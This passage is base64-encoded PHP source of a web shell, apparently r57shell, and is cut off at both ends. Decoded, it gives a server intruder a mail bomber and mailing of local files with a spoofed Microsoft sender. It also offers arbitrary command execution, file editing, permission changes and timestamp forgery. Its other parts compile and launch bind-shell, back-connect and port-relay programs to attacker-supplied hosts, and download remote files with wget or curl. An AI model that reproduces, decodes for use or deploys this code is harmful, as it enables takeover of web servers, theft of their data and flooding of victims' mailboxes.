ZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+IjsKZWNobygoIWVtcHR5KCR1bmFtZSkpPyh3cygzKS5Ac3Vic3RyKCR1bmFtZSwwLDEyMCkuIjxicj4iKTood3MoMykuQHN1YnN0cihAcGhwX3VuYW1lKCksMCwxMjApLiI8YnI+IikpOwplY2hvIHdzKDMpLiRzeXNjdGwuIjxicj4iOwplY2hvIHdzKDMpLmV4KCdlY2hvICRPU1RZUEUnKS4iPGJyPiI7CmVjaG8gd3MoMykuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iPGJyPiI7CmlmKCFlbXB0eSgkaWQpKSB7IGVjaG8gd3MoMykuJGlkLiI8YnI+IjsgfQplbHNlIGlmKEBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGV1aWQnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKQogewogJGV1c2VyaW5mbyAgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAkZWdyb3VwaW5mbyA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKIGVjaG8gd3MoMykuJ3VpZD0nLiRldXNlcmluZm9bJ3VpZCddLicgKCAnLiRldXNlcmluZm9bJ25hbWUnXS4nICkgZ2lkPScuJGVncm91cGluZm9bJ2dpZCddLicgKCAnLiRlZ3JvdXBpbmZvWyduYW1lJ10uJyApPGJyPic7CiB9CmVsc2UgZWNobyB3cygzKS4idXNlcj0iLkBnZXRfY3VycmVudF91c2VyKCkuIiB1aWQ9Ii5AZ2V0bXl1aWQoKS4iIGdpZD0iLkBnZXRteWdpZCgpLiI8YnI+IjsKZWNobyB3cygzKS4kZGlyOwplY2hvIHdzKDMpLicoICcucGVybXMoQGZpbGVwZXJtcygkZGlyKSkuJyApJzsKZWNobyAiPC9iPjwvZm9udD4iOwp9CmVsc2UKewplY2hvICc8Zm9udCBjb2xvcj1ibHVlPjxiPk9TIDonLndzKDEpLic8YnI+U2VydmVyIDonLndzKDEpLic8YnI+VXNlciA6Jy53cygxKS4nPGJyPnB3ZCA6Jy53cygxKS4nPC9iPjwvZm9udD48YnI+JzsKZWNobyAiPC90ZD48dGQ+IjsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPiI7CmVjaG8gd3MoMykuQHN1YnN0cihAcGhwX3VuYW1lKCksMCwxMjApLiI8YnI+IjsKZWNobyB3cygzKS5Ac3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiI8YnI+IjsKZWNobyB3cygzKS5AZ2V0ZW52KCJVU0VSTkFNRSIpLiI8YnI+IjsKZWNobyB3cygzKS4kZGlyOwplY2hvICI8YnI+PC9mb250PiI7Cn0KZWNobyAiPC9mb250PiI7CmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CgppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWwiKQogewogJHJlcyA9IG1haWwoJF9QT1NUWyd0byddLCRfUE9TVFsnc3ViaiddLCRfUE9TVFsndGV4dCddLCJGcm9tOiAiLiRfUE9TVFsnZnJvbSddLiJcclxuIik7CiBlcnIoNiskcmVzKTsKICRfUE9TVFsnY21kJ109IiI7ICAKIH0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtYWlsX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2xvY19maWxlJ10pKQogeyAgCiAgaWYoJGZpbGU9bW9yZXJlYWQoJF9QT1NUWydsb2NfZmlsZSddKSl7ICRmaWxlZHVtcCA9ICRmaWxlOyB9CiAgZWxzZSBpZiAoJGZpbGU9cmVhZHpsaWIoJF9QT1NUWydsb2NfZmlsZSddKSkgeyAkZmlsZWR1bXAgPSAkZmlsZTsgfSBlbHNlIHsgZXJyKDEsJF9QT1NUWydsb2NfZmlsZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQogIGlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSkgCiAgewogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnbG9jX2ZpbGUnXSk7CiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOwogICAgY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOwogICAgJGF0dGFjaCA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICJuYW1lIj0+JGZpbGVuYW1lLAogICAgICAgICAgICAgICAgICAgICJ0eXBlIj0+JG1pbWVfdHlwZSwKICAgICAgICAgICAgICAgICAgICAiY29udGVudCI9PiRmaWxlZHVtcAogICAgICAgICAgICAgICAgICAgKTsKICAgIGlmKGVtcHR5KCRfUE9TVFsnc3ViaiddKSkgeyAkX1BPU1RbJ3N1YmonXSA9ICdmaWxlIGZyb20gcjU3c2hlbGwnOyB9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2Zyb20nXSkpIHsgJF9QT1NUWydmcm9tJ10gPSAnYmlsbHlAbWljcm9zb2Z0LmNvbSc7IH0KICAgICRyZXMgPSBtYWlsYXR0YWNoKCRfUE9TVFsndG8nXSwkX1BPU1RbJ2Zyb20nXSwkX1BPU1RbJ3N1YmonXSwkYXR0YWNoKTsKICAgIGVycig2KyRyZXMpOwogICAgJF9QT1NUWydjbWQnXT0iIjsgICAgICAgICAgICAgICAgICAgCiAgfQogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWxfYm9tYmVyIiAmJiAhZW1wdHkoJF9QT1NUWydtYWlsX2Zsb29kJ10pICYmICFlbXB0eSgkX1BPU1RbJ21haWxfc2l6ZSddKSkKIHsKIGZvcigkaD0xOyRoPD0kX1BPU1RbJ21haWxfZmxvb2QnXTskaCsrKXsKICAkcmVzID0gbWFpbCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydzdWJqJ10sJF9QT1NUWyd0ZXh0J10uc3RyX3JlcGVhdCgiICIsIDEwMjQqJF9QT1NUWydtYWlsX3NpemUnXSksIkZyb206ICIuJF9QT1NUWydmcm9tJ10uIlxyXG4iKTsKIH0KIGVycig2KyRyZXMpOwogJF9QT1NUWydjbWQnXT0iIjsgIAogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXSA9PSAiZmluZF90ZXh0IikKewokX1BPU1RbJ2NtZCddID0gJ2ZpbmQgJy4kX1BPU1RbJ3NfZGlyJ10uJyAtbmFtZSBcJycuJF9QT1NUWydzX21hc2snXS4nXCcgfCB4YXJncyBncmVwIC1FIFwnJy4kX1BPU1RbJ3NfdGV4dCddLidcJyc7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJjaF8iKQogewogc3dpdGNoKCRfUE9TVFsnd2hhdCddKQogICB7CiAgIGNhc2UgJ293bic6CiAgIEBjaG93bigkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10pOwogICBicmVhazsKICAgY2FzZSAnZ3JwJzoKICAgQGNoZ3JwKCRfUE9TVFsncGFyYW0xJ10sJF9QT1NUWydwYXJhbTInXSk7CiAgIGJyZWFrOwogICBjYXNlICdtb2QnOgogICBAY2htb2QoJF9QT1NUWydwYXJhbTEnXSxpbnR2YWwoJF9QT1NUWydwYXJhbTInXSwgOCkpOwogICBicmVhazsKICAgfQogJF9QT1NUWydjbWQnXT0iIjsKIH0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpCiB7CiAgIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkKICAgewogICAgIGNhc2UgJ2ZpbGUnOgogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKQogICAgICAgewogICAgICAgaWYoQGZpbGVfZXhpc3RzKCRfUE9TVFsnbWtfbmFtZSddKSB8fCAhbW9yZXdyaXRlKCRfUE9TVFsnbWtfbmFtZSddLCd5b3VyIHRleHQgaGVyZScpKSB7IGVycigyLCRfUE9TVFsnbWtfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQogICAgICAgZWxzZSB7CiAgICAgICAgJF9QT1NUWydlX25hbWUnXSA9ICRfUE9TVFsnbWtfbmFtZSddOwogICAgICAgICRfUE9TVFsnY21kJ109ImVkaXRfZmlsZSI7CiAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgICAgICAgfQogICAgICAgfQogICAgICAgZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKQogICAgICAgewogICAgICAgaWYoQHVubGluaygkX1BPU1RbJ21rX25hbWUnXSkpIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjMnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOwogICAgICAgJF9QT1NUWydjbWQnXT0iIjsKICAgICAgIH0KICAgICBicmVhazsKICAgICBjYXNlICdkaXInOgogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKXsKICAgICAgaWYoQG1rZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkKICAgICAgIHsKICAgICAgICAgJF9QT1NUWydjbWQnXT0iIjsKICAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MiddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgICAgICB9CiAgICAgIGVsc2UgeyBlcnIoMiwkX1BPU1RbJ21rX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0KICAgICAgfQogICAgICBlbHNlIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImRlbGV0ZSIpewogICAgICBpZihAcm1kaXIoJF9QT1NUWydta19uYW1lJ10pKSBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY0J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsKICAgICAgJF9QT1NUWydjbWQnXT0iIjsKICAgICAgfQogICAgIGJyZWFrOwogICB9CiB9CgoKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJ0b3VjaCIpCnsKaWYoISRfUE9TVFsnZmlsZV9uYW1lX3InXSkKIHsKICAkZGF0YXIgPSAkX1BPU1RbJ2RheSddLiIgIi4kX1BPU1RbJ21vbnRoJ10uIiAiLiRfUE9TVFsneWVhciddLiIgIi4kX1BPU1RbJ2NoYXNpJ10uIiBob3VycyAiLiRfUE9TVFsnbWludXRlcyddLiIgbWludXRlcyAiLiRfUE9TVFsnc2Vjb25kJ10uIiBzZWNvbmRzIjsKICAkZGF0YXIgPSBAc3RydG90aW1lKCRkYXRhcik7CiAgQHRvdWNoKCRfUE9TVFsnZmlsZV9uYW1lJ10sJGRhdGFyLCRkYXRhcik7fQplbHNlewogIEB0b3VjaCgkX1BPU1RbJ2ZpbGVfbmFtZSddLEBmaWxlbXRpbWUoJF9QT1NUWydmaWxlX25hbWVfciddKSxAZmlsZW10aW1lKCRfUE9TVFsnZmlsZV9uYW1lX3InXSkpOwp9CiRfUE9TVFsnY21kJ109IiI7Cn0KCgppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImVkaXRfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnZV9uYW1lJ10pKQogewogaWYoQGlzX2RpcigkX1BPU1RbJ2VfbmFtZSddKSl7IGVycigxLCRfUE9TVFsnZV9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9CiBlbHNlaWYoJGZpbGU9bW9yZXJlYWQoJF9QT1NUWydlX25hbWUnXSkpIHsgJGZpbGVkdW1wID0gJGZpbGU7IGlmKCFAaXNfd3JpdGFibGUoJF9QT1NUWydlX25hbWUnXSkpIHsgJG9ubHlfcmVhZCA9IDE7IH07IH0KIGVsc2VpZigkZmlsZT1yZWFkemxpYigkX1BPU1RbJ2VfbmFtZSddKSkgeyAkZmlsZWR1bXAgPSAkZmlsZTsgJG9ubHlfcmVhZCA9IDE7IH0gCiBlbHNlaWYoQGZpbGVfZXhpc3RzKCRfUE9TVFsnZV9uYW1lJ10pKSB7JGZpbGVkdW1wID0gJ05PTkUnOyBpZighQGlzX3dyaXRhYmxlKCRfUE9TVFsnZV9uYW1lJ10pKSB7ICRvbmx5X3JlYWQgPSAxOyB9O30KIGVsc2UgeyBlcnIoMSwkX1BPU1RbJ2VfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQogaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSAKIHsKIGVjaG8gJHRhYmxlX3VwMzsKIGVjaG8gJGZvbnQ7CiBlY2hvICI8Zm9ybSBuYW1lPXNhdmVfZmlsZSBtZXRob2Q9cG9zdD4iOwogZWNobyB3cygzKS4iPGI+Ii4kX1BPU1RbJ2VfbmFtZSddLiI8L2I+IjsKIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPWVfdGV4dCBjb2xzPTEyMSByb3dzPTI0PiI7CiBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRmaWxlZHVtcCk7CiBlY2hvICI8L3RleHRhcmVhPiI7CiBlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1lX25hbWUgdmFsdWU9JyIuJF9QT1NUWydlX25hbWUnXS4iJz4iOwogZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGlyIHZhbHVlPSciLiRkaXIuIic+IjsKIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNtZCB2YWx1ZT1zYXZlX2ZpbGU+IjsKIGVjaG8gKCFlbXB0eSgkb25seV9yZWFkKT8oIjxicj48YnI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDQnXSk6KCI8YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiAiLiRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddLiIgXCI+IikpOwogZWNobyAiPC9kaXY+IjsKIGVjaG8gIjwvZm9udD4iOwogZWNobyAiPC9mb3JtPiI7CiBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOwogZXhpdCgpOwogfQogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09InNhdmVfZmlsZSIpCiB7CiAkbXRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsnZV9uYW1lJ10pOwogaWYoIUBpc193cml0YWJsZSgkX1BPU1RbJ2VfbmFtZSddKSkgeyBlcnIoMCwkX1BPU1RbJ2VfbmFtZSddKTsgfQogZWxzZSB7CiBpZigkdW5peCkgJF9QT1NUWydlX3RleHQnXT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWydlX3RleHQnXSk7CiBtb3Jld3JpdGUoJF9QT1NUWydlX25hbWUnXSwkX1BPU1RbJ2VfdGV4dCddKTsKICRfUE9TVFsnY21kJ109IiI7CiBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ1J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsKIH0KIEB0b3VjaCgkX1BPU1RbJ2VfbmFtZSddLCRtdGltZSwkbXRpbWUpOwogfQogCgppZiAoIWVtcHR5KCRfUE9TVFsncHJveHlfcG9ydCddKSYmKCRfUE9TVFsndXNlJ109PSJQZXJsIikpCnsKIGNmKCR0ZW1wZGlyLidwcnhwbCcsJHByeF9wbCk7CiAkcDI9d2hpY2goInBlcmwiKTsKICRibGFoID0gZXgoJHAyLicgJy4kdGVtcGRpci4ncHJ4cGwgJy4kX1BPU1RbJ3Byb3h5X3BvcnQnXS4nICYnKTsKIEB1bmxpbmsoJHRlbXBkaXIuJ3ByeHBsJyk7CiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBwcnhwbCI7Cn0KaWYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkmJiFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSYmKCRfUE9TVFsndXNlJ109PSJDIikpCnsKIGNmKCR0ZW1wZGlyLidiZC5jJywkcG9ydF9iaW5kX2JkX2MpOwogJGJsYWggPSBleCgnZ2NjIC1vICcuJHRlbXBkaXIuJ2JkICcuJHRlbXBkaXIuJ2JkLmMnKTsKIEB1bmxpbmsoJHRlbXBkaXIuJ2JkLmMnKTsKICRibGFoID0gZXgoJHRlbXBkaXIuJ2JkICcuJF9QT1NUWydwb3J0J10uJyAnLiRfUE9TVFsnYmluZF9wYXNzJ10uJyAmJyk7CiBAdW5saW5rKCR0ZW1wZGlyLidiZCcpOwogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgYmQiOwp9CmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQp7CiBjZigkdGVtcGRpci4nYmRwbCcsJHBvcnRfYmluZF9iZF9wbCk7CiAkcDI9d2hpY2goInBlcmwiKTsKICRibGFoID0gZXgoJHAyLicgJy4kdGVtcGRpci4nYmRwbCAnLiRfUE9TVFsncG9ydCddLicgJicpOwogQHVubGluaygkdGVtcGRpci4nYmRwbCcpOwogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgYmRwbCI7Cn0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpCnsKIGNmKCR0ZW1wZGlyLidiYWNrJywkYmFja19jb25uZWN0KTsKICRwMj13aGljaCgicGVybCIpOwogJGJsYWggPSBleCgkcDIuJyAnLiR0ZW1wZGlyLidiYWNrICcuJF9QT1NUWydpcCddLicgJy4kX1BPU1RbJ3BvcnQnXS4nICYnKTsKIEB1bmxpbmsoJHRlbXBkaXIuJ2JhY2snKTsKICRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJF9QT1NUWydpcCddLiIgcG9ydCAiLiRfUE9TVFsncG9ydCddLiIgLi4uXCIiOwp9CmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKQp7CiBjZigkdGVtcGRpci4nYmFjay5jJywkYmFja19jb25uZWN0X2MpOwogJGJsYWggPSBleCgnZ2NjIC1vICcuJHRlbXBkaXIuJ2JhY2tjICcuJHRlbXBkaXIuJ2JhY2suYycpOwogQHVubGluaygkdGVtcGRpci4nYmFjay5jJyk7CiAkYmxhaCA9IGV4KCR0ZW1wZGlyLidiYWNrYyAnLiRfUE9TVFsnaXAnXS4nICcuJF9QT1NUWydwb3J0J10uJyAmJyk7CiBAdW5saW5rKCR0ZW1wZGlyLidiYWNrJyk7CiAkX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsKfQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkKewogY2YoJHRlbXBkaXIuJ2RwJywkZGF0YXBpcGVfcGwpOwogJHAyPXdoaWNoKCJwZXJsIik7CiAkYmxhaCA9IGV4KCRwMi4nICcuJHRlbXBkaXIuJ2RwICcuJF9QT1NUWydsb2NhbF9wb3J0J10uJyAnLiRfUE9TVFsncmVtb3RlX2hvc3QnXS4nICcuJF9QT1NUWydyZW1vdGVfcG9ydCddLicgJicpOwogQHVubGluaygkdGVtcGRpci4nZHAnKTsKICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGRwIjsKfQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IkMiKSkKewogY2YoJHRlbXBkaXIuJ2RwYy5jJywkZGF0YXBpcGVfYyk7CiAkYmxhaCA9IGV4KCdnY2MgLW8gJy4kdGVtcGRpci4nZHBjICcuJHRlbXBkaXIuJ2RwYy5jJyk7CiBAdW5saW5rKCR0ZW1wZGlyLidkcGMuYycpOwogJGJsYWggPSBleCgkdGVtcGRpci4nZHBjICcuJF9QT1NUWydsb2NhbF9wb3J0J10uJyAnLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4nICcuJF9QT1NUWydyZW1vdGVfaG9zdCddLicgJicpOwogQHVubGluaygkdGVtcGRpci4nZHBjJyk7CiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcGMiOwp9CgppZiAoIWVtcHR5KCRfUE9TVFsnYWxpYXMnXSkgJiYgaXNzZXQoJGFsaWFzZXNbJF9QT1NUWydhbGlhcyddXSkpIHsgJF9QT1NUWydjbWQnXSA9ICRhbGlhc2VzWyRfUE9TVFsnYWxpYXMnXV07IH0KCmZvcigkdXBsPTA7JHVwbDw9MTY7JHVwbCsrKQp7CiBpZighZW1wdHkoJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnLiR1cGxdWyduYW1lJ10pKXsKICBpZighZW1wdHkoJF9QT1NUWyduZXdfbmFtZSddKSAmJiAoJHVwbD09MCkpIHsgJG5mbiA9ICRfUE9TVFsnbmV3X25hbWUnXTsgfQogIGVsc2UgeyAkbmZuID0gJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnLiR1cGxdWyduYW1lJ107IH0KICBAbW92ZV91cGxvYWRlZF9maWxlKCRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJy4kdXBsXVsndG1wX25hbWUnXSwkX1BPU1RbJ2RpciddLiIvIi4kbmZuKQogIG9yIHByaW50KCI8Zm9udCBjb2xvcj1yZWQgZmFjZT1GaXhlZHN5cz48ZGl2IGFsaWduPWNlbnRlcj5FcnJvciB1cGxvYWRpbmcgZmlsZSAiLiRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJy4kdXBsXVsnbmFtZSddLiI8L2Rpdj48L2ZvbnQ+Iik7CiB9Cn0KCmlmICghZW1wdHkoJF9QT1NUWyd3aXRoJ10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbV9maWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ2xvY19maWxlJ10pKQp7CiBzd2l0Y2goJF9QT1NUWyd3aXRoJ10pCiB7CiBjYXNlICdmb3Blbic6CiAkZGF0YWZpbGUgPSBAaW1wbG9kZSgiIiwgQGZpbGUoJF9QT1NUWydyZW1fZmlsZSddKSk7CiBpZigkZGF0YWZpbGUpCiAgewogICBpZighbW9yZXdyaXRlKCRfUE9TVFsnbG9jX2ZpbGUnXSwkZGF0YWZpbGUpKXsgZXJyKDApO307CiAgfQoKICRfUE9TVFsnY21kJ10gPSAnJzsKIGJyZWFrOwogY2FzZSAnd2dldCc6CiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ3dnZXQnKS4iIFwiIi4kX1BPU1RbJ3JlbV9maWxlJ10uIlwiIC1PIFwiIi4kX1BPU1RbJ2xvY19maWxlJ10uIlwiIjsKIGJyZWFrOwogY2FzZSAnZmV0Y2gnOgogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdmZXRjaCcpLiIgLXAgXCIiLiRfUE9TVFsncmVtX2ZpbGUnXS4iXCIgLW8gXCIiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iXCIiOwogYnJlYWs7CiBjYXNlICdseW54JzoKICRfUE9TVFsnY21kJ10gPSB3aGljaCgnbHlueCcpLiIgLXNvdXJjZSBcIiIuJF9QT1NUWydyZW1fZmlsZSddLiJcIiA+IFwiIi4kX1BPU1RbJ2xvY19maWxlJ10uIlwiIjsKIGJyZWFrOwogY2FzZSAnbGlua3MnOgogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdsaW5rcycpLiIgLXNvdXJjZSBcIiIuJF9QT1NUWydyZW1fZmlsZSddLiJcIiA+IFwiIi4kX1BPU1RbJ2xvY19maWxlJ10uIlwiIjsKIGJyZWFrOwogY2FzZSAnR0VUJzoKICRfUE9TVFsnY21kJ10gPSB3aGljaCgnR0VUJykuIiBcIiIuJF9QT1NUWydyZW1fZmlsZSddLiJcIiA+IFwiIi4kX1BPU1RbJ2xvY19maWxlJ10uIlwiIjsKIGJyZWFrOwogY2FzZSAnY3VybCc6CiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2N1cmwnKS4iIFwiIi4kX1BPU1RbJ3JlbV9maWxlJ10uIlwiIC1vIFwiIi4kX1BPU1RbJ2xvY19maWxlJ10uIlwiIjsKIGJyZWFrOwogfQp9CmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV91cCIpIHx8ICgkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfZG93biIpKSkKIHsKIGxpc3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0KSA9IHNwbGl0KCI6IiwkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTsKIGlmKGVtcHR5KCRmdHBfcG9ydCkpIHsgJGZ0cF9wb3J0ID0gMjE7IH0KICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0ICgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOwogaWYoISRjb25uZWN0aW9uKSB7IGVycigzKTsgfQogZWxzZSAKICB7ICAgCiAgaWYoIUBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJF9QT1NUWydmdHBfbG9naW4nXSwkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKSkgeyBlcnIoNCk7IH0KICBlbHNlIAogICB7CiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikgeyBpZihjaG9wKCRfUE9TVFsnbG9jX2ZpbGUnXSk9PSRkaXIpIHsgJF9QT1NUWydsb2NfZmlsZSddPSRkaXIuKCghJHVuaXgpPygnXFwnKTooJy8nKSkuYmFzZW5hbWUoJF9QT1NUWydmdHBfZmlsZSddKTsgfSBAZnRwX2dldCgkY29ubmVjdGlvbiwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbW9kZSddKTt9CiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV91cCIpICAgeyBAZnRwX3B1dCgkY29ubmVjdGlvbiwkX1BPU1RbJ2Z0cF9maWxlJ10sJF9QT1NUWydsb2Nf